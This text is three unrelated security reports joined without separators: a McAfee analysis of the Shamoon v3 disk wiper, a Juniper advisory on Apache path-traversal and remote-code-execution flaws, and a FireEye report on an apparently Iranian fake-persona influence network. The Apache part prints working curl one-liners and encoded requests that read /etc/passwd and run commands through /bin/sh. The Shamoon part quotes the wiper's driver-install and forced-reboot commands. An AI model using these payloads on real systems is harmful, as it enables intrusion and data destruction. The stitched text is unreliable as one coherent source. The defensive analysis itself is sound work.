The most recent wave struck early this month when the McAfee Foundstone Emergency Incident Response team reacted to a customer’s breach and identified the latest variant.
Shamoon hit oil and gas companies in the Middle East in 2012 and resurfaced in 2016 targeting the same industry.
This threat is critical for businesses; we recommend taking appropriate actions to defend your organizations.
During the past week, we have observed a new variant attacking several sectors, including oil, gas, energy, telecom, and government organizations in the Middle East and southern Europe.
Similar to the previous wave, Shamoon Version 3 uses several mechanisms as evasion techniques to bypass security as well to circumvent analysis and achieve its ends.
However, its overall behavior remains the same as in previous versions, rendering detection straightforward for most antimalware engines.
As in previous variants, Shamoon Version 3 installs a malicious service that runs the wiper component.
Once the wiper is running, it overwrites all files with random rubbish and triggers a reboot, resulting in a “blue screen of death” or a driver error and making the system inoperable.
The variant can also enumerate the local network, but in this case does nothing with that information.
This variant has some bugs, suggesting the possibility that this version is a beta or test phase.
The main differences from earlier versions are the name list used to drop the malicious file and the fabricated service name MaintenaceSrv (with “maintenance” misspelled).
The wiping component has also been designed to target all files on the system with these options: Overwrite file with garbage data (used in this version and the samples we analyzed) Overwrite with a file (used in Shamoon Versions 1 and 2) Encrypt the files and master boot record (not used in this version)
Shamoon is modular malware:
The wiper component can be reused as a standalone file and weaponized in other attacks, making this threat a high risk.
The post presents our findings, including a detailed analysis and indicators of compromise.
Analysis Shamoon is a dropper that carries three resources.
The dropper is responsible for collecting data as well as embedding evasion techniques such as obfuscation, antidebugging, or antiforensic tricks.
The dropper requires an argument to run.
It decrypts the three resources and installs them on the system in the %System% folder.
It also creates the service MaintenaceSrv, which runs the wiper.
The typo in the service name eases detection.
The Advanced Threat Research team has watched this service evolve over the years.
The following tables highlight the differences: The wiper uses ElRawDisk.sys to access the user’s raw disk and overwrites all data in all folders and disk sectors, causing a critical state of the infected machine before it finally reboots.
The result is either a blue screen or driver error that renders the machine unusable.
Overview Dropper Executable summary The dropper contains other malicious components masked as encrypted files embedded in PE section.
These resources are decrypted by the dropper and contain: MNU: The communication module LNG:
The wiper component PIC: The 64-bit version of the dropper Shamoon 2018 needs an argument to run and infect machines.
It decrypts several strings in memory that gather information on the system and determine whether to drop the 32-bit or 64-bit version.
It also drops the file key8854321.pub (MD5: 41f8cd9ac3fb6b1771177e5770537518) in the folder c:\\Windows\\Temp\\key8854321.pub.
The malware decrypts two files used later:
C:\\Windows\\inf\\mdmnis5tQ1.pnf C:\\Windows\\inf\\averbh_noav.pnf
Shamoon enables the service RemoteRegistry, which allows a program to remotely modify the registry.
It also disables remote user account control by enabling the registry key LocalAccountTokenFilterPolicy.
The malware checks whether the following shares exist to copy itself and spread:
ADMIN$ C$\\WINDOWS D$\\WINDOWS E$\\WINDOWS
Shamoon queries the service to retrieve specific information related to the LocalService account .
It then retrieves the resources within the PE file to drop the components.
Finding the location of the resource: Shamoon creates the file and sets the time to August 2012 as an antiforensic trick.
It puts this date on any file it can destroy.
The modification time can be used as an antiforensic trick to bypass detection based on the timeline, for example.
We also observed that in some cases the date is briefly modified on the system, faking the date of each file.
The files dropped on the system are stored in C:\\\\Windows\\System32\\.
Before creating the malicious service, Shamoon elevates its privilege by impersonating the token.
It first uses LogonUser and ImpersonateLoggedOnUser, then ImpersonateNamedPipeClient.
Metasploit uses a similar technique to elevate privileges.
Elevating privileges is critical for malware to perform additional system modifications, which are usually restricted.
Shamoon creates the new malicious service MaintenaceSrv.
It creates the service with the option Autostart (StartType: 2) and runs the service with its own process (ServiceType: 0x10):
If the service is already created, it changes the configuration parameter of the service with the previous configuration.
It finally finishes creating MaintenaceSrv:
The wiper dropped on the system can have any one of the following names: Next the wiper runs to destroy the data.
Wiper The wiper component is dropped into the System32 folder.
It takes one parameter to run.
The wiper driver is embedded in its resources.
We can see the encrypted resources, 101, in this screenshot: The resource decrypted is the driver ElRawDisk.sys, which wipes the disk.
Extracting the resource: This preceding file is not malicious but is considered risky because it is the original driver.
The wiper creates a service to run the driver with the following command: sc create hdv_725x type= kernel start= demand binpath= WINDOWS\\hdv_725x.sys 2>&1 >nul
The following screenshot shows the execution of this command: The malware overwrites every file in c:\\Windows\\System32, placing the machine in a critical state.
All the files on the system are overwritten.
The overwriting process: Finally, it forces the reboot with the following command: Shutdown -r -f -t 2
Once the system is rebooted it shows a blue screen:
Worm The worm component is extracted from the resources from the dropper.
Destructive malware usually uses spreading techniques to infect machines as quickly as possible.
The worm component can take the following names: We noticed the capability to scan for the local network and connect to a potential control server:
Although the worm component can spread the dropper and connect to a remote server, the component was not used in this version.
Conclusion Aside from the major destruction this malware can cause, the wiper component can be used independently from the dropper.
The wiper does not have to rely on the main stub process.
The 2018 Shamoon variant’s functionality indicates modular development.
This enables the wiper to be used by malware droppers other than Shamoon.
Shamoon is showing signs of evolution; however, these advancements did not escape detection by McAfee DATs.
We expect to see additional attacks in the Middle East (and beyond) by these adversaries.
We will continue to monitor our telemetry and will update this analysis as we learn more.
MITRE ATT&CK™ matrix Indicators of compromise df177772518a8fcedbbc805ceed8daecc0f42fed                    Original dropper x86 ceb7876c01c75673699c74ff7fac64a5ca0e67a1                    Wiper 10411f07640edcaa6104f078af09e2543aa0ca07                   Worm module 43ed9c1309d8bb14bd62b016a5c34a2adbe45943               key8854321.pub bf3e0bc893859563811e9a481fde84fe7ecd0684                  RawDisk driver McAfee detection Trojan-Wiper!DE07C4AC94A5 RDN/Generic.dx Trojan-Wiper
Juniper Threat Labs has been seeing on-going attacks targeting Apache http servers.
On October 4, the Apache Software Foundation disclosed CVE-2021-41773 , a path traversal 0- day vulnerability with reports of it being exploited in-the wild.
Within one day, several proofs-of-concept to exploit the vulnerability surfaced online, that also included an unauthenticated remote code execution.
Along with these developments, we started seeing active exploitation of this vulnerability in our telemetry beginning on October 6 .
On October 7, CVE-2021-42013 published as patch released by Apache for CVE-2021-41773, was bypassed and several proofs-of-concept to exploit it surfaced online.
Juniper Threat Labs is still seeing exploitation activity coming from multiple sources.
Most of the exploitations are targeted toward two specific paths : /etc
/passwd and /bin/
sh .
Below are a few examples of common requests captured in our telemetry.
CVE-2021-41773
Attacks CVE-2021-42013 Attacks Let’s examine how these vulnerabilities can be exploited .
Vulnerability Details CVE-2021-41773 is a directory traversal vulnerability that was introduced as a result of a recent change to path normalization designed to improve performance in the URL validation in Apache http server 2.4.49.
It was found that if files outside the directories were not protected by the default configuration, “ require all denied”, the URL validation could be bypassed by the encoding character ‘.’.
It was also verified that the vulnerability could be used for remote code execution if mod_cgi is enabled.
PoCs that surfaced online used multiple variants to perform evasion for path traversal: /.%2e/.%2e/.%2e/ /.%2e%2f.%2e%2f
that decodes to: /../../ /.%2e/%2e%2e/
that decodes to: /../../
On October 7 , CVE-2021-42013 was reported.
It was observed that the patch rolled out for CVE-2021-41773 in Apache http server 2.4.50 was insufficient.
The attackers could map the URLs to files outside the directories that can be configured by alias-like directives.
If these files and directories are not protected by the default configuration “ require all denied” , it could lead to code execution.
Inside Alias.conf Apache http server version 2.4.51 was released to mitigate these flaws.
These vulnerabilities affect only Apache web servers running on version 2.4.49 and 2.4.50.
Older versions are unaffected by this vulnerability.
Exploitation Juniper Threat Labs, set up Apache http server 2.4.49 to simulate the attack scenario.
Below is the vulnerable configuration:
Vulnerable: <Directory />
Require all granted </Directory>
NOT vulnerable (** DEFAULT **) : <Directory />
Require all denied </Directory>
Vulnerable config in httpd.conf We can check the directory traversal with this one-liner curl command: curl -v –path-as-is http://<target>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd Contents of /etc/passwd retrieved Payloads can be modified to view other files also.
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/os-release This issue was fixed in Apache http server version 2.4.50 but was again exploited using double encoding technique.
Contents of /etc/passwd retrieved via double encoding Path Traversal to Remote Code Execution (RCE)
A remote unauthenticated user can create a specially crafted request with malicious code embedded in it that can lead to directory traversal and remote code execution.
To achieve RCE, there are some pre-requisites.
RCE is possible on the server only if mod_cgi is enabled.
Mod_cgi is disabled in the default Apache http server configuration.
Target binary should have executable permissions for /bin/
sh.
Below is the vulnerable configuration of httpd.conf: mod_cgi module enabled in httpd.conf We can check the response with a one-liner curl command: curl ‘http://<Target>/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh’ -d ‘A=|echo;id
’ -vv
Testing remote code execution curl ‘http://<Target>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh’ –data ‘echo Content-Type: text/plain; echo; id’
Testing remote code execution with double encoding By conducting a simple search on Shodan, results show s that there are over 112,000 Apache servers across the globe running on Apache http server version 2.4.49 and almost 13,000 with version 2.4.50.
There might be other vulnerable web servers configured that do not display version information.
Shodan results for Apache Http Server 2.4.49 Image Source: Shodan Shodan results for Apache Http Server 2.4.50 Image Source: Shodan Remediation and Conclusion: Juniper Networks’ SRX Series Next-Generation Firewall (NGFW) customers with an IDP license are protected against this vulnerability by the signature: HTTP: APACHE: APACHE-PATH-TRAV.
At the same time, all customers are recommended to update to the latest stable version of Apache http server as soon as possible, as per the advisory released by the Apache Foundation and to mitigate any risk associated with active exploitation of the flaw.
Indicators of Compromise: Below are some of the attacker’s IOC’s: 45[.
]146.164.110 139[.
]59.126.50 128[.
]90.166.247 128[.
]90.161.152 128[.
]90.166.31 157[.
]119.200.185 163[.
]172.173.238 89[.
]248.173.143 145[.
]220.25.28 134[.
]122.112.12 145[.
]220.25.6 161[.
]35.86.181 143[.
]198.136.88 155[.
]138.142.87 167[.
]99.133.28 185[.
]111.51.118 185[.
]225.17.102 89[.
]46.62.130 137[.
]184.69.137 140[.
]213.59.194 142[.
]93.35.77 143[.
]198.62.76 157[.
]230.212.97 157[.
]230.216.201 157[.
]245.153.240 157[.
]245.51.232 178[.
]128.164.5 46[.
]101.59.235
In August 2018, FireEye Threat Intelligence released a report exposing what we assessed to be an Iranian influence operation leveraging networks of inauthentic news sites and social media accounts aimed at audiences around the world.
We identified inauthentic social media accounts posing as everyday Americans that were used to promote content from inauthentic news sites such as Liberty Front Press (LFP), US Journal, and Real Progressive Front.
We also noted a then-recent shift in branding for some accounts that had previously self-affiliated with LFP; in July 2018, the accounts dropped their LFP branding and adopted personas aligned with progressive political movements in the U.S.
Since then, we have continued to investigate and report on the operation to our intelligence customers, detailing the activity of dozens of additional sites and hundreds of additional social media accounts.
Recently, we investigated a network of English-language social media accounts that engaged in inauthentic behavior and misrepresentation and that we assess with low confidence was organized in support of Iranian political interests.
In addition to utilizing fake American personas that espoused both progressive and conservative political stances, some accounts impersonated real American individuals, including a handful of Republican political candidates that ran for House of Representatives seats in 2018.
Personas in this network have also had material published in U.S. and Israeli media outlets, attempted to lobby journalists to cover specific topics, and appear to have orchestrated audio and video interviews with U.S. and UK-based individuals on political issues.
While we have not at this time tied these accounts to the broader influence operation we identified last year, they promoted material in line with Iranian political interests in a manner similar to accounts that we have previously assessed to be of Iranian origin.
Most of the accounts in the network appear to have been suspended on or around the evening of 9 May, 2019.
Appendix 1 provides a sample of accounts in the network.
The Network The accounts, most of which were created between April 2018 and March 2019, used profile pictures appropriated from various online sources, including, but not limited to, photographs of individuals on social media with the same first names as the personas.
As with some of the accounts that we identified to be of Iranian origin last August, some of these new accounts self-described as activists, correspondents, or “free journalist[s]” in their user descriptions.
Some accounts posing as journalists claimed to belong to specific news organizations, although we have been unable to identify individuals belonging to those news organizations with those names.
Narratives promoted by these and other accounts in the network included anti-Saudi, anti-Israeli, and pro-Palestinian themes.
Accounts expressed support for the Joint Comprehensive Plan of Action (JCPOA), commonly known as the Iran nuclear deal; opposition to the Trump administration’s designation of Iran’s Islamic Revolutionary Guard Corps (IRGC) as a Foreign Terrorist Organization; antipathy toward the Ministerial to Promote a Future of Peace and Security in the Middle East (a U.S.-led conference that focused on Iranian influence in the Middle East more commonly known as the February 2019 Warsaw Summit); and condemnation of U.S. President Trump’s veto of a resolution passed by Congress to end U.S. involvement in the Yemen conflict.
Figure 1: Sample tweets on the Trump administration’s designation of Iran’s IRGC as a Foreign Terrorist Organization
Interestingly, some accounts in the network also posted a small amount of messaging seemingly contradictory to their otherwise pro-Iran stances.
For example, while one account’s tweets were almost entirely in line with Iranian political interests, including a tweet claiming that “iran has shown us that his nuclear program is peaceful [sic],” the account also posted a series of tweets directed at U.S. President Trump on Sept. 25, 2018, the same day that he gave a speech to the United Nations in which he excoriated the Iranian Government.
The account called on Trump to attack Iran, using the hashtags #attack_Iran, #go_to_hell_Rouhani, #stop_sanctions, #UnitedNations, and #trump_speech; other accounts in the network, which likewise predominantly held pro-Iran stances, echoed these sentiments, using the same or similar hashtags.
It is possible that these accounts were seeking to build an audience with views antipathetic to Iran that could then later be targeted with pro-Iranian messaging.
Apart from the narratives and messaging promoted, we observed several limited indicators that the network was operated by Iranian actors.
For example, one account in the network, @AlexRyanNY, created in 2010, had only two visible tweets prior to 2017, one of which, from 2011, was in Persian and of a personal nature.
Subsequently in 2017, @AlexRyanNY claimed in a tweet to be “an Iranian who supported Hillary” in a tweet directed at a Democratic political strategist.
This account, using the display name “Alex Ryan” and claiming to be a Newsday correspondent, appropriated the photograph of a genuine individual also with the first name of Alex.
We note that it is possible that the account was compromised from another individual or that it was merely repurposed by the same actor.
Additionally, while most of the accounts in the network had their interface languages set to English, we observed that one account had its interface language set to Persian.
Impersonation of U.S.
Political Candidates Some Twitter accounts in the network impersonated Republican political candidates that ran for House of Representatives seats in the 2018 U.S. congressional midterms.
These accounts appropriated the candidates’ photographs and, in some cases, plagiarized tweets from the real individuals’ accounts.
Aside from impersonating real U.S. political candidates, the behavior and activity of these accounts resembled that of the others in the network.
For example, the account @livengood_marla impersonated Marla Livengood, a 2018 candidate for California’s 9 th Congressional District, using a photograph of Livengood and a campaign banner for its profile and background pictures.
The account began tweeting on Sept. 24, 2018, with its first tweet plagiarizing one from Livengood’s official account earlier that month: Figure 2:
Tweet by suspect account @livengood_marla, dated Sept. 24, 2018 (left); tweet by Livengood’s verified account, dated Sept. 1, 2018 (right)
The @livengood_marla account plagiarized a number of other tweets from Livengood’s official account, including some that referenced Livengood’s official account username: Figure 3: Tweet by suspect account @livengood_marla, dated Sept. 24, 2018 (left); tweet by Livengood’s verified account, dated Sept. 3, 2018 (right)
The @livengood_marla account also tweeted various news snippets on both political and apolitical subjects, such as the confirmation of Brett Kavanaugh to the U.S. Supreme Court and the wedding of the UK’s Princess Eugenie and Jack Brooksbank, prior to segueing into promoting material more closely aligned with Iranian interests.
For example, the account, along with others in the network, commemorated the United Nations’ International Day of the Girl Child with a photograph of emaciated children in Yemen, as well as narratives pertaining to the killing of Saudi journalist Jamal Khashoggi and Saudi Shiite child Zakaria al-Jaber, intended to portray Saudi Arabia in a negative light.
In another example, the account @ButlerJineea impersonated Jineea Butler, a 2018 candidate for New York’s 13 th Congressional District, using a photograph of Butler for its profile picture and incorporating her campaign slogans into its background picture, as well as claiming in its Twitter bio to be a “US House candidate, NY-13” and linking to Butler’s website, jineeabutlerforcongress.com.
Figure 4:
Suspect account @ButlerJineea (left); apparent legitimate, currently inactive account @Jineea4congress
(right)
These and other accounts in the network plagiarized tweets from additional sources beyond the individuals they impersonated, including other U.S. politicians, about both political and apolitical topics.
Influence Activity Leveraged U.S. and Israeli Media
In addition to directly posting material on social media, we observed some personas in the network leverage legitimate print and online media outlets in the U.S. and Israel to promote Iranian interests via the submission of letters, guest columns, and blog posts that were then published.
We also identified personas that we suspect were fabricated for the sole purpose of submitting such letters, but that do not appear to maintain accounts on social media.
The personas claimed to be based in varying locations depending on the news outlets they were targeting for submission; for example, a persona that listed their location as Seattle, WA in a letter submitted to the Seattle Times subsequently claimed to be located in Baytown, TX in a letter submitted to The Baytown Sun .
Other accounts in the network then posted links to some of these letters on social media.
The letters and columns, many of which were published in 2018 and 2019, but which date as far back as 2015, were mostly published in small, local U.S. news outlets; however, several larger outlets have also published material that we suspect was submitted by these personas (see Appendix 2).
In at least two cases, the text of letters purportedly authored by different personas and published in different newspapers was identical or nearly identical, while in other instances, separate personas promoted the same narratives in letters published within several days of each other.
The published material was not limited to letters; one persona, “John Turner,” maintained a blog on The Times of Israel website from January 2017 to November 2018, and wrote articles for the U.S.-based site Natural News Blogs from August 2015 to July 2018.
The letters and articles primarily addressed themes or promoted stances in line with Iranian political interests, similar to the activity conducted on social media.
Figure 5: Sample letter published in Galveston County’s (Texas)
The Daily News, authored by suspect persona Mathew O’Brien
We have thus far identified at least five suspicious personas that have had letters or other content published by legitimate news outlets.
We surmise that additional personas exist, based on other investigatory leads.
“John Turner” :
The John Turner persona has been active since at least 2015.
Turner has claimed to be based, variously, in New York, NY, Seattle, WA, and Washington, DC.
Turner described himself as a journalist in his Twitter profile, though has also claimed both to work at the Seattle Times and to be a student at Villanova University, claiming to be attending between 2015 and 2020.
In addition to letters published in various news outlets, John Turner maintained a blog on The Times of Israel site in 2017 and 2018 and has written articles for Natural News Blogs .
At least one of Turner’s letters was promoted in a tweet by another account in the network.
“Ed Sullivan” :
The Ed Sullivan persona, which has on at least one occasion used the same headshot as that of John Turner, has had letters published in the Galveston County, Texas-based The Daily News , the New York Daily News , and the Los Angeles Times , including some letters identical in text to those authored by the “Jeremy Watte” persona (see below) published in the Texas-based outlet The Baytown Sun .
Ed Sullivan has claimed his location to be, variously, Galveston and Newport News (Virginia).
“Mathew Obrien” :
The Mathew Obrien persona, whose name has also been spelled “Matthew Obrien” and “Mathew O’Brien”, claimed in his Twitter bio to be a Newsday correspondent.
The persona has had letters published in Galveston County’s The Daily News and the Athens, Texas-based Athens Daily Review ; in those letters, his claimed locations were Galveston and Athens, respectively, while the persona’s Twitter account, @MathewObrien1, listed a location of New York, NY.
At least one of Obrien’s letters was promoted in a tweet by another account in the network.
“Jeremy Watte” :
Letters signed by the Jeremy Watte persona have been published in The Baytown Sun and the Seattle Times , where he claimed to be based in Baytown and Seattle, respectively.
The texts of at least two letters signed by Jeremy Watte are identical to that in letters published in other newspapers under the name Ed Sullivan.
At least one of his letters was promoted in a tweet by another account in the network.
“Isabelle Kingsly” :
The Isabelle Kingsly persona claimed on her Twitter profile (@IsabelleKingsly) to be an “Iranian-American” based in Seattle, WA.
Letters signed by Kingsly have appeared in The Baytown Sun and the Newport News Virginia local paper The Daily Press ; in those letters, Kingsly’s location is listed as Galveston and Newport News, respectively.
The @IsabelleKingsly Twitter account’s profile picture and other posted pictures were appropriated from a social media account of what appears to be a real individual with the same first name of Isabelle.
At least one of Kingsly’s letters was promoted in a tweet by another account in the network.
Other Media Activity Personas in the network also engaged in other media-related activity, including criticism and solicitation of mainstream media coverage, and conducting remote video and audio interviews with real U.S. and UK-based individuals while presenting themselves as journalists.
One of those latter personas presented as working for a mainstream news outlet.
Criticism/Solicitation of Media Coverage Accounts in the network directed tweets at mainstream media outlets, calling on them to provide coverage of topics aligned with Iranian interests or, alternatively, criticizing them for insufficient coverage of those topics.
For example, we observed accounts criticizing media outlets over their lack of coverage of the killing of Shiite child Zakaria al-Jaber in Saudi Arabia, as well as Saudi Arabia’s conduct in the Yemen conflict.
While such activity might have been intended to directly influence the media outlets’ reporting, the accounts may have also been aiming to reach a wider audience by tweeting at outlets with a large following that woud see those replies.
Figure 6: Sample tweets by suspect accounts calling on mainstream media outlets to increase their coverage of alleged Saudi activity in the Yemen conflict “Media” Interviews with Real U.S., UK-Based Individuals Accounts in the network, under the guise of journalist personas, also solicited various individuals over Twitter for interviews and chats, including real journalists and politicians.
The personas appear to have successfully conducted remote video and audio interviews with U.S. and UK-based individuals, including a prominent activist, a radio talk show host, and a former U.S. Government official, and subsequently posted the interviews on social media, showing only the individual being interviewed and not the interviewer.
The interviewees expressed views that Iran would likely find favorable, discussing topics such as the February 2019 Warsaw summit, an attack on a military parade in the Iranian city of Ahvaz, and the killing of Jamal Khashoggi.
The provenance of these interviews appear to have been misrepresented on at least one occasion, with one persona appearing to have falsely claimed to be operating on behalf of a mainstream news outlet; a remote video interview with a US-based activist about the Jamal Khashoggi killing was posted by an account adopting the persona of a journalist from the outlet Newsday , with the Newsday logo also appearing in the video.
We did not identify any Newsday interview with the activist in question on this topic.
In another instance, a persona posing as a journalist directed tweets containing audio of an interview conducted with a former U.S. Government official at real media personalities, calling on them to post about the interview.
Conclusion We are continuing to investigate this and potentially related activity that may be being conducted by actors in support of Iranian interests.
At this time, we are unable to provide further attribution for this activity, and we note the possibility that the activity could have been designed for alternative purposes or include some small percentage of authentic behavior.
However, if it is of Iranian origin or supported by Iranian state actors, it would demonstrate that Iranian influence tactics extend well beyond the use of inauthentic news sites and fake social media personas, to also include the impersonation of real individuals on social media and the leveraging of legitimate Western news outlets to disseminate favorable messaging.
If this activity is being conducted by the same or related actors as those responsible for the Liberty Front Press network of inauthentic news sites and affiliated social media accounts that we exposed in August 2018, it may also suggest that these actors remain undeterred by public exposure or by social media platforms’ shutdowns of their accounts, and that they continue to seek to influence audiences within the U.S. toward positions in line with Iranian political interests.
Appendices Appendix 1: Sample Twitter accounts identified in this network, currently suspended.
Username Display Name Bio Creation Date Location @MichaelA22444 Michael Anderson Free journalist
#resist 3/16/2019 DC @sammichelsn1995
Sam Michelson Journalist.
In search of reality.
1995.
Resistance.
3/14/2019 @JasonCa26738291
Jason Campbell
It’s our duty to leave our Country-to our children-better than we found it 2/20/2019 @SaraMar44752473 Sara Martin 1/24/2019
@LisaBro09759828 Lisa Brown 1/24/2019 @Jennife67352965 Jennifer Parker I AM 1/23/2019 @SusanSc25255529 Susan Scott Don't think too hard, just have fun with life...
1/22/2019 @LindaJa02370118 Linda Jackson
I drink lots of tea...
1/22/2019 @MarkAda05568324 Mark Adams 1/22/2019 @aliisseeeee alliisse Liberty 1/21/2019 New York @morsi18 morsi 1/13/2019 @AntiReality2 Anti_Reality
Very angry mad at politicians In favor of sick minds 1/9/2019 North Carolina, USA @JennyMick3
Jenny Mick Unemployment Widow mother of two 1/9/2019 Pennsylvania, USA @JaneAnton9 Jane Anton Daughter of best parent.
Do your best, just let your success shows your efforts.
1/9/2019 California, USA @RabinAntonio Antonio Rabin Student at Harvard college.
somehow into politics.
I love gym 1/9/2019 @Angelofhuman1
Angel of human I do into beauty and humanity 12/26/2018
California, USA @AliciaHernan3 Alicia Hernan Wife, mom of tow sons, student, in favor of peace.
12/26/2018
New York, USA @ThomasRace3
Thomas Race Bodybuilding sports and into Music and gym 12/25/2018
Michigan, USA @EmmaWil14155495 Emma Wilkerson Student in college  studying International law 12/25/2018 Sunnyvale, CA @Kevin24798000
Kevin A free person from everywhere I'm somehow into politics 12/15/2018 New York, USA @ImanRashedii
Iman Rashed Correspondent at  https://t.co/3hxSgtkuXh.
🎥📸Freelance Journalist.
➡️➡️oppose War and Brutality 💆‍♂️I was born in Beirut 12/8/2018 London @emAnderson1996 emily anderson
In search of peace.
Really into politics and justice.
Love US and other countries.
10/6/2018 New York, USA @FordNaava naava ford 10/2/2018 @MaazRoss maaz ross follow back 9/30/2018 @sam86523055 ResistSam high educated free journalist in favor of politics in search of reality Middle East issues 9/29/2018 New York, USA @ButlerJineea Jineea Butler US House candidate, NY-13 9/26/2018 U.S. Congressional Candidate for NY District 13 serving Harlem, Washington Heights and Western Bronx.
US @TynioAnya Anya Tynio 9/26/2018 @livengood_marla Marla Livengood 9/23/2018
@Fall_Of_Amercia Fall_of_Amercia save the US 9/8/2018 Washington, DC @IsabelleKingsly Elizabeth Warren not for 2020 Single.
Iranian-American.
Lifestyle.
And a tad of politics.
@ewarren not for 2020.
9/8/2018
Seattle, WA @MathewObrien1 Mathew Obrien
A single boy,@Newsday correspondent , interested in news Scientist🔬.
Animal 🐘 and Nature lover🌲, hiker and backpacker♍   .
6/21/2018 New York, NY @HumanBeingUSA Human-Rights
The fight for human rights never sleeps, standing up for human rights across the world, wherever justice, freedom, fairness and truth are denied.
6/14/2018 New York, USA @ashleyc57528342 ashley cohen follow me to get follow back 6/14/2018 Arizona, USA @josefsanchezzzz josef sanchez 6/10/2018 @GuillouJan
jan guillou 5/13/2018 @saidqutb2 saidqutb 5/12/2018 @olegkashin4321 rajat sharma 5/8/2018
@Suzan_Nicolson Suzan Nicholson follow me to get follow back 5/8/2018 Las Vegas, NV @caroloffoff diana culi
5/7/2018 @hairullomirsaid guillem balague 5/7/2018
@habibayyoub1 habib ayyoub 5/6/2018 @daphneposh
James Anderson No Magats 🚫, 🔥 Anti War & Hate, Pro Equality, Humanity, Humor & Sensible Gun Reform 4/30/2018 New York, USA @JohnHoward333 John H.T Journalist.
RTs Are not necessarily endorsements.
All views my own.
#Resist 5/12/2015 Washington, USA @AlexRyanNY
Alex Ryan New Yorker, @Newsday correspondent.
You don't have a soul.
You are a Soul.
You have a body.
4/17/2011 New York, USA Table 1: Sample Twitter accounts identified in this network Appendix 2: Sample letters published in news outlets submitted by personas identified in this network, August 2018 to April 2019.
Date Author Author’s Listed Location Newspaper Article Aug. 1, 2018
Jeremy Watte Baytown
The Baytown Sun (baytownsun.com)
Title: “Trump’s wall just a vanity project”
The letter argues against the Trump administration’s proposed border wall with Mexico.
The text of the letter is identical to that published in Galveston County’s The Daily News (galvnews.com) on Aug. 4, 2018, three days later.
http://baytownsun.com/opinion/article_85fa9df4-9527-11e8-9aa8-1bb745e7141a.html Aug. 4, 2018
Ed Sullivan Galveston Galveston County’s The Daily News (galvnews.com)
Title: “Trump cares not one wit about effects of shutdown”
The text of the letter is identical to that published in The Baytown Sun on Aug. 1.
https://www.galvnews.com/opinion/guest_columns/article_7d5b3e9b-cbdd-5ac8-8c91-3a1eb0da3df7.html Oct. 11, 2018 Jeremy Watte Baytown
The Baytown Sun (baytownsun.com)
Title: “Time to fight for it”
The letter, written from the point of view of an individual aligned with the U.S. political left, calls on individuals to fight for justice.
http://baytownsun.com/opinion/article_915fde6c-ccf3-11e8-a085-33dce44563d1.html Oct. 23, 2018
Ed Sullivan Newport News New York Daily News (nydailynews.com)
Title: “Don’t shrug off Khashoggi’s murder”
The letter argues that “the most fitting and best memorial to Jamal Khashoggi,” a Saudi journalist who was murdered in the Saudi embassy in Istanbul, “would be the swift end to the war in Yemen.”
https://www.nydailynews.com/dp-edt-letswed-1024-story.html Oct. 23, 2018
Ed Sullivan Newport News Los Angeles Times (latimes.com)
Title: “Don’t shrug off Khashoggi’s murder”
The letter is identical to that published in the New York Daily News on the same day.
https://www.latimes.com/dp-edt-letswed-1024-story.html Nov. 27, 2018 John Turner New York, NY Times of Israel (blog.timesofisrael.com)
Title: “Saudi Arabia’s foreign policy is failing”
The letter states that the murder of Jamal Khashoggi is “the latest in a series of foreign policy blunders” committed by the Saudi Crown Prince Mohammed Bin Salman.
https://blogs.timesofisrael.com/saudi-arabias-foreign-policy-is-failing/ Nov. 30, 2018 John Turner New York, NY Times of Israel (blog.timesofisrael.com)
Title: “Relations with Israel will not benefit Gulf states”
The letter argues that the Gulf states will not benefit from normalized relations with Israel, stating that “the Arab street” would not support those relations and that such a move would be risky for “the Gulf’s unelected rulers.”
https://blogs.timesofisrael.com/relations-with-israel-will-not-benefit-gulf-states/ Dec. 26, 2018 Isabelle Kingsly Galveston The Baytown Sun (baytownsun.com)
Title: “Wild West sheriff” The letter argues that Trump is not an aberration in U.S. history, but rather an ideological descendant of various U.S. historical currents; the article also calls him “an authoritarian, racist madman.”
http://baytownsun.com/opinion/letters/article_4ad26b8c-08bb-11e9-9056-3f5207ea4cf7.html Jan. 18, 2019 Jeremy Watte Seattle Seattle Times (seattletimes.com)
Title: “ISIS’ ideology not defeated” The letter, written in response to an article about Americans killed by an ISIS suicide bomber in Syria, asserts that the Islamic extremist ideology espoused by the terrorist group remains undefeated.
https://www.seattletimes.com/opinion/letters-to-the-editor/isis-ideology-not-defeated/ March 1, 2019 Jeremy Watte Baytown
The Baytown Sun (baytownsun.com)
Title: “Sins of Saudi Arabia”
The letter is condemnatory of Saudi Arabia, citing its actions in the Yemen conflict, the killing of Jamal Khashoggi, the killing of Zakaria al-Jaber, a Shiite child, in Medina, and the imprisonment of Saudi women activists.
The letter also defends Iran, stating that it is not responsible for similar crimes.
http://baytownsun.com/opinion/article_4c8f1d4e-3bce-11e9-a391-37761ca39ef2.html April 9, 2019 Mathew Obrien Galveston Galveston County’s The Daily News (galvnews.com)
Title: “Sanctioning Islamic corps is pure madness”
The letter condemns the Trump administration’s designation of the IRGC as a Foreign Terrorist Organization and claims that Trump is seeking to start a war with Iran.
https://www.galvnews.com/opinion/letters_to_editor/article_860e6c9b-1e22-5871-a1ea-d8d466fccc94.html April 11, 2019 Matthew Obrien Athens Athens Daily Review (athensreview.com)
Title: “Trump, Bolton trying to start war with Iran” The letter, similar to the April 9 letter published in Galveston County’s The Daily News, claims that Trump and Bolton are trying to start a war with Iran to use the war in Trump’s 2020 presidential campaign, while disregarding the alleged crimes of Saudi Arabia.
https://www.athensreview.com/opinion/letters_to_the_editor/trump-bolton-trying-to-start-war-with-iran/article_e41a029e-5ca5-11e9-b59b-4f174bf94dcd.html April 11, 2019 Isabelle Kingsly Newport News Daily Press (dailypress.com)
Title: “An uneasy path – Re; Recent Iran sanction reports”
The letter also argues that Trump and Bolton are seeking to start a war with Iran toward political ends.
https://www.dailypress.com/news/opinion/letters/dp-edt-letsfri-0412-story.html April 19, 2019 Jeremy Watte Baytown
The Baytown Sun (baytownsun.com)
Title: “Escalating hostility toward Iran” The letter argues that the election of Trump to the U.S. presidency has set the U.S. on a dangerous course and condemns the U.S. withdrawal from the Iran nuclear deal (JCPOA), stating that “the ayatollahs have welcomed this abrogation of honor on Trump’s part.”
http://baytownsun.com/opinion/article_fd3f8bfa-6249-11e9-992a-d373a2b5a5a4.html April 23, 2019
